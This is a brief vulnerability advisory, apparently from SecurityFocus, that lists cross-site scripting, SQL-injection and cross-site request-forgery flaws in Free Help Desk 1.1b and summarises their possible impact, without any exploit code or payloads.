Free Help Desk 1.1b - Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/49721/info

Free Help Desk is prone to the following input-validation vulnerabilities:

1. A cross-site scripting vulnerability
2. Multiple SQL-injection vulnerabilities
3. A cross-site request-forgery vulnerability

Exploiting these issues could allow an attacker to execute arbitrary code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Free Help Desk 1.1b is vulnerable; other versions may also be affected.
